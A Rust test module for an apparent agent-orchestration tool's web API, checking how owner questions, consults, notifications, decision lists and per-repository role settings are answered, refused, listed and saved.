13533        let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
13534        let cfg = Config {
13535            agents: vec![crate::config::AgentSpec {
13536                id: "mock".to_owned(),
13537                kind: crate::config::AgentKind::Command,
13538                model: None,
13539                command: vec!["true".to_owned()],
13540                extra_args: Vec::new(),
13541                env: Default::default(),
13542                prompt_delivery: None,
13543                max_turn_secs: None,
13544            }],
13545            ..Config::default()
13546        };
13547        let talk = crate::talk::begin(
13548            &fx.talks(),
13549            &cfg,
13550            fx.home.path().to_path_buf(),
13551            Some("mock"),
13552        )
13553        .unwrap();
13554        let mut task = Task::new(
13555            "t".to_owned(),
13556            "Do it".to_owned(),
13557            PathBuf::from("/repo/magi"),
13558            Source::Agent {
13559                run: talk.id.clone(),
13560                node: crate::queue::CHAT_NODE.to_owned(),
13561            },
13562        );
13563        task.start("20260902-000000-beef".to_owned());
13564        fx.queue().put(&mut task).unwrap();
13565
13566        let list = fx.get("/api/questions").await.json();
13567        assert_eq!(list[0]["origin_chat"], talk.id.as_str(), "{list}");
13568        assert_eq!(
13569            list[0]["choices"],
13570            serde_json::json!(["SQLite", "Redis"]),
13571            "the hand-over is never a choice"
13572        );
13573        fx.questions()
13574            .update(&id, |q| {
13575                q.node = crate::land::APPROVAL_NODE.into();
13576                q.choices = vec!["merge".into(), "hold".into()];
13577                Ok(())
13578            })
13579            .unwrap();
13580        let list = fx.get("/api/questions").await.json();
13581        assert_eq!(list[0]["origin_chat"], talk.id.as_str(), "{list}");
13582        assert_eq!(list[0]["can_consult_chat"], true);
13583        fx.questions()
13584            .update(&id, |q| {
13585                q.node = crate::bump::NOTICE_NODE.into();
13586                Ok(())
13587            })
13588            .unwrap();
13589        let list = fx.get("/api/questions").await.json();
13590        assert_eq!(list[0]["origin_chat"], talk.id.as_str());
13591        assert_eq!(list[0]["can_consult_chat"], false);
13592    }
13593
13594    #[tokio::test]
13595    async fn a_consult_that_cannot_read_its_config_leaves_nothing_to_retry_around() {
13596        let fx = Fixture::start().await;
13597        let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
13598        fx.questions()
13599            .update(&id, |q| {
13600                q.node = crate::land::APPROVAL_NODE.into();
13601                q.choices = vec!["merge".into(), "hold".into()];
13602                Ok(())
13603            })
13604            .unwrap();
13605        let cfg = Config {
13606            agents: vec![crate::config::AgentSpec {
13607                id: "mock".to_owned(),
13608                kind: crate::config::AgentKind::Command,
13609                model: None,
13610                command: vec!["true".to_owned()],
13611                extra_args: Vec::new(),
13612                env: Default::default(),
13613                prompt_delivery: None,
13614                max_turn_secs: None,
13615            }],
13616            ..Config::default()
13617        };
13618        // Not a git working tree, so its `magi.toml` is read from disk.
13619        let repo = fx.home.path().join("chat-repo");
13620        std::fs::create_dir_all(&repo).unwrap();
13621        let toml = repo.join("magi.toml");
13622        std::fs::write(&toml, "this is = = not toml").unwrap();
13623        let talk = crate::talk::begin(&fx.talks(), &cfg, repo.clone(), Some("mock")).unwrap();
13624        let mut task = Task::new(
13625            "t".to_owned(),
13626            "Do it".to_owned(),
13627            PathBuf::from("/repo/magi"),
13628            Source::Agent {
13629                run: talk.id.clone(),
13630                node: crate::queue::CHAT_NODE.to_owned(),
13631            },
13632        );
13633        task.start("20260902-000000-beef".to_owned());
13634        fx.queue().put(&mut task).unwrap();
13635
13636        let path = format!("/api/questions/{id}/consult");
13637        let res = fx.post(&path, None).await;
13638        assert!(res.status >= 400, "{}", res.body);
13639        assert!(fx.questions().get(&id).unwrap().consult.is_none());
13640        assert!(fx.talks().get(&talk.id).unwrap().pending.is_empty());
13641
13642        std::fs::write(&toml, "").unwrap();
13643        let res = fx.post(&path, None).await;
13644        assert_eq!(res.status, 202, "{}", res.body);
13645        assert!(fx.questions().get(&id).unwrap().consult.is_some());
13646        let q = fx.questions().get(&id).unwrap();
13647        assert!(q.status.open());
13648        assert!(q.answer.is_none());
13649        assert_eq!(res.json()["origin_chat"], talk.id.as_str());
13650        assert_eq!(res.json()["can_consult_chat"], true);
13651        let list = fx.get("/api/questions").await.json();
13652        assert_eq!(list[0]["origin_chat"], talk.id.as_str());
13653        assert_eq!(list[0]["consult"]["talk"], talk.id.as_str());
13654
13655        let res = fx
13656            .post(
13657                &format!("/api/questions/{id}/answer"),
13658                Some(r#"{"choice":"hold"}"#),
13659            )
13660            .await;
13661        assert_eq!(res.status, 200, "{}", res.body);
13662        assert_eq!(res.json()["answer"]["choice"], "hold");
13663        assert_eq!(res.json()["origin_chat"], talk.id.as_str());
13664        assert_eq!(res.json()["can_consult_chat"], false);
13665        assert_eq!(fx.post(&path, None).await.status, 409);
13666
13667        let mut talk = fx.talks().get(&talk.id).unwrap();
13668        crate::talk::close(&mut talk, &fx.talks()).unwrap();
13669        let list = fx.get("/api/questions").await.json();
13670        assert_eq!(list[0]["origin_chat"], talk.id.as_str());
13671        assert_eq!(list[0]["origin_chat_closed"], true);
13672        assert_eq!(list[0]["can_consult_chat"], false);
13673
13674        fx.talks().remove(&talk.id).unwrap();
13675        let list = fx.get("/api/questions").await.json();
13676        assert_eq!(list[0]["origin_chat"], Value::Null);
13677        assert_eq!(list[0]["origin_chat_closed"], false);
13678        assert_eq!(list[0]["can_consult_chat"], false);
13679    }
13680
13681    #[tokio::test]
13682    async fn asking_back_clears_the_owner_count_until_the_agent_replies() {
13683        let fx = Fixture::start().await;
13684        let store = fx.questions();
13685        let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
13686        store.beat(&id, ask::WaiterKind::Asker);
13687        assert_eq!(
13688            fx.get("/api/health").await.json()["questions_needs_owner"],
13689            1
13690        );
13691
13692        // The owner asks back instead of deciding: the ask bar, the nav badge
13693        // and the title must stop naming this question, because there is
13694        // nothing to decide until the agent answers - `status` alone cannot
13695        // say that, which is the whole reason `questions_needs_owner` exists
13696        // alongside `questions_open`.
13697        let res = fx
13698            .post(
13699                &format!("/api/questions/{id}/say"),
13700                Some(r#"{"body":"why not Postgres?"}"#),
13701            )
13702            .await;
13703        assert_eq!(res.status, 200, "{}", res.body);
13704        assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
13705        assert_eq!(
13706            fx.get("/api/health").await.json()["questions_needs_owner"],
13707            0,
13708            "waiting on the agent is not waiting on the owner"
13709        );
13710
13711        // `magi ask --thread` replying is what brings the owner count back -
13712        // the same event that would resume the CLI call blocked in `magi
13713        // ask`.
13714        let mut q = store.get(&id).expect("get");
13715        q.reply("because SQLite needs no server", vec!["SQLite".to_owned()])
13716            .expect("reply");
13717        store.put(&mut q).expect("put");
13718        assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
13719        assert_eq!(
13720            fx.get("/api/health").await.json()["questions_needs_owner"],
13721            1,
13722            "the agent's reply is what should light the banner back up"
13723        );
13724    }
13725
13726    #[tokio::test]
13727    async fn saying_something_is_refused_when_empty_answered_or_abandoned() {
13728        let fx = Fixture::start().await;
13729        let store = fx.questions();
13730
13731        let empty_id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
13732        let res = fx
13733            .post(
13734                &format!("/api/questions/{empty_id}/say"),
13735                Some(r#"{"body":"   "}"#),
13736            )
13737            .await;
13738        assert_eq!(res.status, 400, "{}", res.body);
13739
13740        let answered_id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
13741        let mut answered = store.get(&answered_id).expect("get");
13742        answered
13743            .answer(Answer::Choice("SQLite".to_owned()))
13744            .expect("answer");
13745        store.put(&mut answered).expect("put");
13746        let res = fx
13747            .post(
13748                &format!("/api/questions/{answered_id}/say"),
13749                Some(r#"{"body":"still there?"}"#),
13750            )
13751            .await;
13752        assert_eq!(res.status, 409, "{}", res.body);
13753
13754        let abandoned_id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
13755        let mut abandoned = store.get(&abandoned_id).expect("get");
13756        abandoned.abandon("timed out");
13757        store.put(&mut abandoned).expect("put");
13758        let res = fx
13759            .post(
13760                &format!("/api/questions/{abandoned_id}/say"),
13761                Some(r#"{"body":"still there?"}"#),
13762            )
13763            .await;
13764        assert_eq!(res.status, 409, "{}", res.body);
13765    }
13766
13767    #[tokio::test]
13768    async fn historical_release_2029_api_retains_answer_and_refuses_controls() {
13769        let fx = Fixture::start().await;
13770        let questions = fx.questions();
13771        let mut q = Question::new(
13772            String::new(),
13773            crate::bump::NOTICE_NODE.into(),
13774            "release-watch".into(),
13775            "Release PR approval".into(),
13776            "Saved head".into(),
13777            vec!["merge".into(), "hold".into()],
13778        );
13779        q.id = "20261109-014940-871849981cd969b1-0000000000000000-2029".into();
13780        q.merge_target = Some(crate::merge_decision::Target {
13781            pr: "https://example.test/mebae/pull/100".into(),
13782            head: "4d5a46f99a678608d2b883498d8bebd9399c0261".into(),
13783            language: "en".into(),
13784        });
13785        q.answer(Answer::Choice("merge".into())).unwrap();
13786        q.answer_delivered = true;
13787        questions.put(&mut q).unwrap();
13788        let dir = fx.home.path().join("notifications/task-chat-migration-v1");
13789        std::fs::create_dir_all(&dir).unwrap();
13790        std::fs::write(
13791            dir.join("state.json"),
13792            serde_json::to_vec(&serde_json::json!({
13793                "schema": 1, "sources": [q.id], "pending": [q.id]
13794            }))
13795            .unwrap(),
13796        )
13797        .unwrap();
13798        let bytes = std::fs::read(questions.path_of(&q.id)).unwrap();
13799        for migrated in [false, true] {
13800            if migrated {
13801                crate::task_chat::sweep(&fx.queue(), &fx.talks(), &questions, fx.home.path());
13802            }
13803            for endpoint in ["/api/questions", "/api/questions/core"] {
13804                let response = fx.get(endpoint).await;
13805                assert_eq!(response.status, 200);
13806                let rows = response.json();
13807                let row = rows
13808                    .as_array()
13809                    .unwrap()
13810                    .iter()
13811                    .find(|r| r["id"] == q.id)
13812                    .unwrap();
13813                assert_eq!(row["status"], "answered");
13814                assert_eq!(row["answer"]["choice"], "merge");
13815                assert_eq!(row["can_answer"], false);
13816                assert_eq!(row["history_only"], true);
13817            }
13818            let answer = fx
13819                .post(
13820                    &format!("/api/questions/{}/answer", q.id),
13821                    Some(r#"{"choice":"merge"}"#),
13822                )
13823                .await;
13824            assert_eq!(answer.status, 409, "{}", answer.body);
13825            assert_eq!(std::fs::read(questions.path_of(&q.id)).unwrap(), bytes);
13826        }
13827    }
13828
13829    #[tokio::test]
13830    async fn an_answer_the_question_does_not_offer_is_refused() {
13831        let fx = Fixture::start().await;
13832        let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
13833        let path = format!("/api/questions/{id}/answer");
13834
13835        for body in [
13836            r#"{"choice":"Postgres"}"#,
13837            r#"{"text":"whatever you think"}"#,
13838            r#"{"choice":"Redis","text":"both"}"#,
13839            r#"{}"#,
13840        ] {
13841            let res = fx.post(&path, Some(body)).await;
13842            assert_eq!(res.status, 400, "{body} should be refused: {}", res.body);
13843            assert!(res.json()["error"].is_string(), "{}", res.body);
13844        }
13845        // Nothing above may have answered it.
13846        assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
13847    }
13848
13849    #[tokio::test]
13850    async fn a_free_text_question_takes_text_and_not_a_choice() {
13851        let fx = Fixture::start().await;
13852        let id = ask(&fx, "What should the flag be called?", &[]);
13853        fx.questions().beat(&id, ask::WaiterKind::Asker);
13854        let path = format!("/api/questions/{id}/answer");
13855
13856        assert_eq!(
13857            fx.post(&path, Some(r#"{"choice":"--json"}"#)).await.status,
13858            400
13859        );
13860        let res = fx.post(&path, Some(r#"{"text":"--json"}"#)).await;
13861        assert_eq!(res.status, 200, "{}", res.body);
13862        assert_eq!(res.json()["answer"]["text"], "--json");
13863    }
13864
13865    #[tokio::test]
13866    async fn an_unknown_question_is_a_json_404() {
13867        let fx = Fixture::start().await;
13868        let res = fx
13869            .post("/api/questions/nope/answer", Some(r#"{"text":"x"}"#))
13870            .await;
13871        assert_eq!(res.status, 404, "{}", res.body);
13872        assert!(res.json()["error"].is_string());
13873    }
13874
13875    #[tokio::test]
13876    async fn notifications_resolve_live_questions_without_changing_saved_notices() {
13877        let fx = Fixture::start().await;
13878        let questions = Questions::at(fx.home.path().join("questions"));
13879        let store = Notices::at(fx.home.path().join("notifications"));
13880        let mut q = ask::Question::new(
13881            "t1".into(),
13882            "conduct".into(),
13883            "conductor".into(),
13884            "Continue?".into(),
13885            String::new(),
13886            Vec::new(),
13887        );
13888        questions.put(&mut q).unwrap();
13889        let mut n = Notice::warn("task:t1", "Task t1 is held.");
13890        n.covered_by = Some(q.id.clone());
13891        let n = store.raise(n).unwrap();
13892        let listed = fx.get("/api/notifications").await.json();
13893        assert_eq!(listed["items"][0]["answerable_question"], q.id);
13894        questions
13895            .update(&q.id, |q| {
13896                q.abandon("run gone");
13897                Ok(())
13898            })
13899            .unwrap();
13900        let listed = fx.get("/api/notifications").await.json();
13901        assert!(listed["items"][0]["answerable_question"].is_null());
13902        assert_eq!(store.get(&n.id).unwrap().covered_by, Some(q.id));
13903        assert!(
13904            !std::fs::read_to_string(store.root().join(format!("{}.json", n.id)))
13905                .unwrap()
13906                .contains("answerable_question")
13907        );
13908    }
13909
13910    #[tokio::test]
13911    async fn decisions_list_reports_unreadable_records_without_hiding_pending_items() {
13912        let fx = Fixture::start().await;
13913        let outbox = crate::task_inquiry::Outbox::at(fx.home.path());
13914        let task = crate::queue::Task::new(
13915            "work".into(),
13916            "work".into(),
13917            fx.home.path().into(),
13918            crate::queue::Source::Human,
13919        );
13920        let inquiry = outbox
13921            .file(&task, None, "test".into(), "入力待ち", "詳細")
13922            .unwrap();
13923        let root = fx.home.path().join("notifications/task-inquiries");
13924        std::fs::write(root.join("broken.json"), "{").unwrap();
13925        let mut unsupported = inquiry.clone();
13926        unsupported.id = "unsupported".into();
13927        unsupported.schema = 99;
13928        std::fs::write(
13929            root.join("unsupported.json"),
13930            serde_json::to_vec(&unsupported).unwrap(),
13931        )
13932        .unwrap();
13933        let before = std::fs::read(root.join(format!("{}.json", inquiry.id))).unwrap();
13934        for _ in 0..2 {
13935            let response = fx.get("/api/decisions").await;
13936            assert_eq!(response.status, 200, "{}", response.body);
13937            let listed = response.json();
13938            assert_eq!(listed["unreadable"], 2);
13939            assert_eq!(listed["items"].as_array().unwrap().len(), 1);
13940            assert_eq!(listed["items"][0]["id"], inquiry.id);
13941            assert_eq!(listed["items"][0]["decision"]["status"], "awaiting_owner");
13942        }
13943        assert_eq!(
13944            before,
13945            std::fs::read(root.join(format!("{}.json", inquiry.id))).unwrap()
13946        );
13947        assert!(outbox.list().is_err());
13948        std::fs::remove_file(root.join("broken.json")).unwrap();
13949        std::fs::remove_file(root.join("unsupported.json")).unwrap();
13950        assert_eq!(fx.get("/api/decisions").await.json()["unreadable"], 0);
13951    }
13952
13953    #[tokio::test]
13954    async fn decisions_list_exposes_migration_errors_without_acknowledging_them() {
13955        let fx = Fixture::start().await;
13956        let root = fx.home.path().join("notifications/task-chat-migration-v1");
13957        std::fs::create_dir_all(&root).unwrap();
13958        let journal = serde_json::json!({
13959            "schema": 1, "pending": ["saved-inquiry"],
13960            "errors": {"saved-inquiry": "Source is unreadable; no action executed"}
13961        });
13962        let bytes = serde_json::to_vec(&journal).unwrap();
13963        std::fs::write(root.join("state.json"), &bytes).unwrap();
13964        for _ in 0..2 {
13965            let response = fx.get("/api/decisions").await;
13966            assert_eq!(response.status, 200);
13967            let listed = response.json();
13968            assert_eq!(listed["migration_errors"][0]["id"], "saved-inquiry");
13969            assert!(listed["items"].as_array().unwrap().is_empty());
13970            assert_eq!(std::fs::read(root.join("state.json")).unwrap(), bytes);
13971        }
13972        // An unreadable journal must not make the endpoint hide the list.
13973        std::fs::write(root.join("state.json"), b"{").unwrap();
13974        let response = fx.get("/api/decisions").await;
13975        assert_eq!(response.status, 200);
13976        assert_eq!(response.json()["migration_errors"][0]["id"], "migration");
13977    }
13978
13979    #[tokio::test]
13980    async fn notifications_list_read_dismiss_and_health_agree() {
13981        let fx = Fixture::start().await;
13982        let store = Notices::at(fx.home.path().join("notifications"));
13983        assert_eq!(fx.get("/api/notifications").await.json()["unread"], 0);
13984        let rev0 = fx.get("/api/health").await.json()["notifications_rev"].clone();
13985
13986        let a = store.raise(Notice::warn("task:1", "held")).unwrap();
13987        let b = store.raise(Notice::error("run:2", "blocked")).unwrap();
13988
13989        store
13990            .raise(Notice::warn("deputy:deleted-question", "obsolete warning"))
13991            .unwrap();
13992        let health = fx.get("/api/health").await.json();
13993        assert_eq!(health["notifications_unread"], 2);
13994        assert_ne!(
13995            health["notifications_rev"], rev0,
13996            "the badge must move live"
13997        );
13998
13999        let listed = fx.get("/api/notifications").await.json();
14000        assert_eq!(listed["unread"], 2);
14001        assert_eq!(listed["items"].as_array().unwrap().len(), 2);
14002        assert_eq!(listed["items"][0]["severity"], "error", "newest first");
14003
14004        let read = fx
14005            .post(&format!("/api/notifications/{}/read", a.id), None)
14006            .await;
14007        assert_eq!(read.status, 200, "{}", read.body);
14008        assert_eq!(fx.get("/api/notifications").await.json()["unread"], 1);
14009
14010        let gone = fx
14011            .post(&format!("/api/notifications/{}/dismiss", b.id), None)
14012            .await;
14013        assert_eq!(gone.status, 200, "{}", gone.body);
14014        let listed = fx.get("/api/notifications").await.json();
14015        assert_eq!(listed["items"].as_array().unwrap().len(), 1);
14016        assert_eq!(listed["unread"], 0);
14017
14018        store.raise(Notice::info("x", "again")).unwrap();
14019        let all = fx.post("/api/notifications/read-all", None).await;
14020        assert_eq!(all.status, 200, "{}", all.body);
14021        assert_eq!(all.json()["marked"], 1);
14022        assert_eq!(
14023            fx.get("/api/health").await.json()["notifications_unread"],
14024            0
14025        );
14026
14027        let missing = fx.post("/api/notifications/nope/read", None).await;
14028        assert_eq!(missing.status, 404, "{}", missing.body);
14029        assert!(missing.json()["error"].is_string());
14030    }
14031
14032    /// New work reaches the queue through `magi task add`, a standing talk's
14033    /// `magi task add --solo`, or the CLI - never a raw `POST /api/queue` -
14034    /// so the compose form and that route are gone. The tests that covered
14035    /// that route's validation went with it, and nothing was left asserting
14036    /// it stays gone — so a re-added handler would silently let the phone
14037    /// file briefs no one validated.
14038    #[tokio::test]
14039    async fn a_task_cannot_be_filed_over_the_phone_directly() {
14040        let f = Fixture::start().await;
14041
14042        let res = f
14043            .post(
14044                "/api/queue",
14045                Some(r#"{"instruction":"Add a --json flag to magi list"}"#),
14046            )
14047            .await;
14048
14049        assert_eq!(
14050            res.status, 405,
14051            "POST /api/queue must not be a route: {}",
14052            res.body
14053        );
14054        assert!(
14055            f.queue().list().is_empty(),
14056            "a task filed by a route that does not exist must not reach the disk"
14057        );
14058        // The path itself is still served — the Queue view reads it — and the
14059        // per-task controls are untouched by the entry being removed.
14060        assert_eq!(f.get("/api/queue").await.status, 200);
14061    }
14062
14063    /// `<repo>/host/owner/repo/.git`, the ghq layout [`repos::scan`] expects.
14064    fn make_checkout(root: &FsPath, host: &str, owner: &str, repo: &str) {
14065        std::fs::create_dir_all(root.join(host).join(owner).join(repo).join(".git"))
14066            .expect("checkout dir");
14067    }
14068
14069    /// Two command agents, so a config needs no real CLI.
14070    const SETTINGS_AGENTS: &str = "[[agents]]\nid = \"a\"\nkind = \"command\"\ncommand = [\"true\"]\n\n[[agents]]\nid = \"b\"\nkind = \"command\"\ncommand = [\"true\"]\n";
14071
14072    fn settings_dirs(repo_toml: &str, machine_toml: Option<&str>) -> (TempDir, PathBuf, PathBuf) {
14073        let tmp = TempDir::new().expect("tempdir");
14074        let repo = tmp.path().join("repo");
14075        std::fs::create_dir_all(&repo).expect("repo dir");
14076        std::fs::write(repo.join("magi.toml"), repo_toml).expect("repo toml");
14077        let machine = tmp.path().join("cfg").join("magi").join("config.toml");
14078        if let Some(text) = machine_toml {
14079            std::fs::create_dir_all(machine.parent().expect("parent")).expect("cfg dir");
14080            std::fs::write(&machine, text).expect("machine toml");
14081        }
14082        (tmp, repo, machine)
14083    }
14084
14085    async fn settings_checkout(path: &FsPath, text: &str) {
14086        std::fs::create_dir_all(path).unwrap();
14087        std::fs::write(path.join("magi.toml"), text).unwrap();
14088        for args in [
14089            vec!["init", "-b", "main"],
14090            vec!["add", "magi.toml"],
14091            vec![
14092                "-c",
14093                "user.name=Test",
14094                "-c",
14095                "user.email=test@example.invalid",
14096                "commit",
14097                "-m",
14098                "fixture",
14099            ],
14100            vec!["update-ref", "refs/remotes/origin/main", "HEAD"],
14101            vec![
14102                "symbolic-ref",
14103                "refs/remotes/origin/HEAD",
14104                "refs/remotes/origin/main",
14105            ],
14106        ] {
14107            crate::git::git(path, &args).await.unwrap();
14108        }
14109    }
14110
14111    #[tokio::test]
14112    async fn settings_context_handlers_validate_and_save_without_a_socket() {
14113        let (tmp, repo, machine) =
14114            settings_dirs("[roles]\nreviewers = [\"a\"]\n", Some(SETTINGS_AGENTS));
14115        let root = tmp.path().join("roots");
14116        let selected = root.join("host/owner/selected");
14117        settings_checkout(
14118            &selected,
14119            "[roles]\nconductor = \"b\"\n[graph]\njudges = 2\n",
14120        )
14121        .await;
14122        std::fs::write(&machine, format!("{SETTINGS_AGENTS}\n[roles]\nconductor = \"a\"\n[graph]\njudges = 1\n[repos]\nroots = [{}]\nscan_ttl = 3600\n", toml::Value::String(root.display().to_string()))).unwrap();
14123        let before = std::fs::read(&machine).unwrap();
14124        let ui = Arc::new(
14125            Ui::new(
14126                Queue::at(tmp.path().join("queue")),
14127                Questions::at(tmp.path().join("questions")),
14128                Talks::at(tmp.path().join("talks")),
14129                tmp.path().join("runs"),
14130                tmp.path().to_path_buf(),
14131                repo.clone(),
14132            )
14133            .with_machine_config(Some(machine.clone())),
14134        );
14135        let query = || {
14136            Query(SettingsQuery {
14137                repo: Some(selected.clone()),
14138            })
14139        };
14140        let Json(v) = settings_get(State(ui.clone()), query()).await.unwrap();
14141        assert!(v.error.is_none(), "{:?}", v.error);
14142        let conductor = v.roles.iter().find(|r| r.key == "conductor").unwrap();
14143        assert_eq!(conductor.source, "repo");
14144        assert_eq!(
14145            conductor.machine_value,
14146            Some(toml::Value::String("a".into()))
14147        );
14148        assert!(!conductor.editable);
14149        let judges = v.roles.iter().find(|r| r.key == "judges").unwrap();
14150        assert_eq!(
14151            judges.count.as_ref().unwrap().machine_value,
14152            Some(toml::Value::Integer(1))
14153        );
14154        assert!(
14155            !v.roles
14156                .iter()
14157                .find(|r| r.key == "reviewers")
14158                .unwrap()
14159                .editable
14160        );
14161        let unknown = || {
14162            Query(SettingsQuery {
14163                repo: Some(tmp.path().to_path_buf()),
14164            })
14165        };
14166        assert_eq!(
14167            settings_get(State(ui.clone()), unknown())
14168                .await
14169                .unwrap_err()
14170                .status,
14171            StatusCode::UNPROCESSABLE_ENTITY
14172        );
14173        let body = || {
14174            Ok(Json(RolesBody {
14175                revision: v.revision.clone(),
14176                roles: std::collections::BTreeMap::from([("judges".into(), vec!["b".into()])]),
14177                counts: Default::default(),
14178            }))
14179        };
14180        assert_eq!(
14181            settings_put_roles(State(ui.clone()), unknown(), body())
14182                .await
14183                .unwrap_err()
14184                .status,
14185            StatusCode::UNPROCESSABLE_ENTITY
14186        );
14187        assert_eq!(std::fs::read(&machine).unwrap(), before);
14188        let Json(saved) = settings_put_roles(State(ui.clone()), query(), body())
14189            .await
14190            .unwrap();
14191        assert_eq!(
14192            saved.repo,
14193            selected.canonicalize().unwrap().display().to_string()
14194        );
14195        assert!(settings::repository_config(&repo, Some(&machine)).is_ok());
14196        assert!(settings::repository_config(&selected, Some(&machine)).is_ok());
14197        // A cache miss refreshes the stable candidate list exactly for validation.
14198        let fresh = root.join("host/owner/fresh");
14199        settings_checkout(&fresh, "[graph]\nadvisors = 0\n").await;
14200        let Json(fresh_view) = settings_get(State(ui), Query(SettingsQuery { repo: Some(fresh) }))
14201            .await
14202            .unwrap();
14203        assert_eq!(fresh_view.repositories.len(), 3);
14204    }
14205
14206    #[tokio::test]
14207    async fn settings_context_selector_validates_paths_and_preserves_all_checkouts() {
14208        let (tmp, repo, machine) = settings_dirs(
14209            "[roles]\nreviewers = [\"a\"]\n",
14210            Some(&format!("{SETTINGS_AGENTS}\n[graph]\njudges = 1\n")),
14211        );
14212        let root = tmp.path().join("roots");
14213        let selected = root.join("host/owner/selected");
14214        settings_checkout(
14215            &selected,
14216            "[roles]\nadvisors = [\"b\"]\n[graph]\njudges = 2\n",
14217        )
14218        .await;
14219        let broken = root.join("host/owner/broken");
14220        settings_checkout(&broken, "[roles\nbroken").await;
14221        let machine_text = format!(
14222            "{SETTINGS_AGENTS}\n[graph]\njudges = 1\n[repos]\nroots = [{}]\n",
14223            toml::Value::String(root.display().to_string())
14224        );
14225        std::fs::write(&machine, &machine_text).unwrap();
14226        let originals: Vec<_> = [&repo, &selected, &broken]
14227            .iter()
14228            .map(|p| std::fs::read(p.join("magi.toml")).unwrap())
14229            .collect();
14230        let f = Fixture::with_repo_and_machine(repo.clone(), machine.clone()).await;
14231        let default = f.get("/api/settings").await.json();
14232        assert_eq!(
14233            default["repo"],
14234            repo.canonicalize().unwrap().display().to_string()
14235        );
14236        assert_eq!(default["repositories"].as_array().unwrap().len(), 3);
14237        let query = format!("?repo={}", selected.display());
14238        let res = f.get(&format!("/api/settings{query}")).await;
14239        assert_eq!(res.status, 200, "{}", res.body);
14240        let v = res.json();
14241        assert!(v["error"].is_null(), "{v}");
14242        assert_eq!(v["repositories"], default["repositories"]);
14243        let role = |key: &str| {
14244            v["roles"]
14245                .as_array()
14246                .unwrap()
14247                .iter()
14248                .find(|r| r["key"] == key)
14249                .unwrap()
14250        };
14251        assert_eq!(role("advisors")["configured"], serde_json::json!(["b"]));
14252        assert_eq!(role("advisors")["source"], "repo");
14253        assert_eq!(role("advisors")["editable"], false);
14254        assert!(role("advisors")["machine_value"].is_null());
14255        assert_eq!(role("judges")["count"]["value"], 2);
14256        assert_eq!(role("judges")["count"]["machine_value"], 1);
14257        assert_eq!(role("judges")["count"]["source"], "repo");
14258        let source = role("judges")["count"]["source_path"].as_str().unwrap();
14259        assert!(
14260            source.contains("origin/main") && !source.contains("magi/config/"),
14261            "{source}"
14262        );
14263        assert_eq!(
14264            role("reviewers")["editable"],
14265            false,
14266            "default context outside roots must protect its declarations"
14267        );
14268        let body =
14269            serde_json::json!({"revision": v["revision"], "roles": {"judges": ["b"]}}).to_string();
14270        let unknown = format!("?repo={}", tmp.path().display());
14271        assert_eq!(f.get(&format!("/api/settings{unknown}")).await.status, 422);
14272        assert_eq!(
14273            f.put(&format!("/api/settings/roles{unknown}"), &body)
14274                .await
14275                .status,
14276            422
14277        );
14278        assert_eq!(std::fs::read_to_string(&machine).unwrap(), machine_text);
14279        let refuse = serde_json::json!({"revision": v["revision"], "roles": {"reviewers": ["b"]}})
14280            .to_string();
14281        assert_eq!(
14282            f.put(&format!("/api/settings/roles{query}"), &refuse)
14283                .await
14284                .status,
14285            422
14286        );
14287        let saved = f.put(&format!("/api/settings/roles{query}"), &body).await;
14288        assert_eq!(saved.status, 200, "{}", saved.body);
14289        assert_eq!(saved.json()["repo"], v["repo"]);
14290        assert!(settings::repository_config(&repo, Some(&machine)).is_ok());
14291        assert!(settings::repository_config(&selected, Some(&machine)).is_ok());
14292        for (p, before) in [&repo, &selected, &broken].iter().zip(originals) {
14293            assert_eq!(std::fs::read(p.join("magi.toml")).unwrap(), before);
14294        }
14295        let error = f
14296            .get(&format!("/api/settings?repo={}", broken.display()))
14297            .await;
14298        assert_eq!(error.status, 200);
14299        assert!(error.json()["error"]["message"].is_string());
14300        assert_eq!(error.json()["repositories"], default["repositories"]);
14301    }
14302
14303    #[tokio::test]
14304    async fn settings_get_reports_sources_and_the_advisors_fallback() {
14305        let (_tmp, repo, machine) =
14306            settings_dirs(SETTINGS_AGENTS, Some("[roles]\njudges = [\"b\"]\n"));
14307        let f = Fixture::with_repo_and_machine(repo, machine).await;
14308        let res = f.get("/api/settings").await;
14309        assert_eq!(res.status, 200, "{}", res.body);
14310        let v = res.json();
14311        assert!(v["error"].is_null(), "{v}");
14312        let role = |k: &str| {
14313            v["roles"]
14314                .as_array()
14315                .and_then(|r| r.iter().find(|x| x["key"] == k))
14316                .cloned()
14317                .unwrap_or_else(|| panic!("no role {k}: {v}"))
14318        };
14319        assert_eq!(role("judges")["source"], "machine");
14320        assert_eq!(role("judges")["editable"], true);
14321        assert_eq!(role("implementers")["source"], "default");
14322        let adv = role("advisors");
14323        assert_eq!(adv["fallback"], "judges");
14324        assert!(
14325            adv["seats"]
14326                .as_array()
14327                .is_some_and(|s| s.iter().all(|x| x == "b")),
14328            "{adv}"
14329        );
14330        assert_eq!(v["agents"].as_array().map(Vec::len), Some(2));
14331        assert_eq!(v["agents"][0]["source"], "repo");
14332    }
14333
14334    #[tokio::test]
14335    async fn settings_get_reports_a_config_that_does_not_parse() {
14336        let (_tmp, repo, machine) = settings_dirs("[roles\nbroken", None);
14337        let f = Fixture::with_repo_and_machine(repo, machine).await;
14338        let res = f.get("/api/settings").await;
14339        assert_eq!(res.status, 200, "{}", res.body);
14340        let v = res.json();
14341        assert!(v["error"]["message"].is_string(), "{v}");
14342        assert!(
14343            v["error"]["path"]
14344                .as_str()
14345                .is_some_and(|p| p.ends_with("magi.toml")),
14346            "{v}"
14347        );
14348        assert_eq!(v["roles"].as_array().map(Vec::len), Some(0));
14349    }
14350
14351    #[tokio::test]
14352    async fn settings_put_saves_to_the_machine_file_and_keeps_comments() {
14353        let (_tmp, repo, machine) = settings_dirs(
14354            SETTINGS_AGENTS,
14355            Some("# mine\n[roles]\n# seats\njudges = [\"a\"]  # note\n\n[vars]\nx = 1\n"),
14356        );
14357        let repo_before = std::fs::read(repo.join("magi.toml")).expect("read");
14358        let f = Fixture::with_repo_and_machine(repo.clone(), machine.clone()).await;
14359        let rev = f.get("/api/settings").await.json()["revision"]
14360            .as_str()
14361            .expect("revision")
14362            .to_owned();
14363        let body = serde_json::json!({
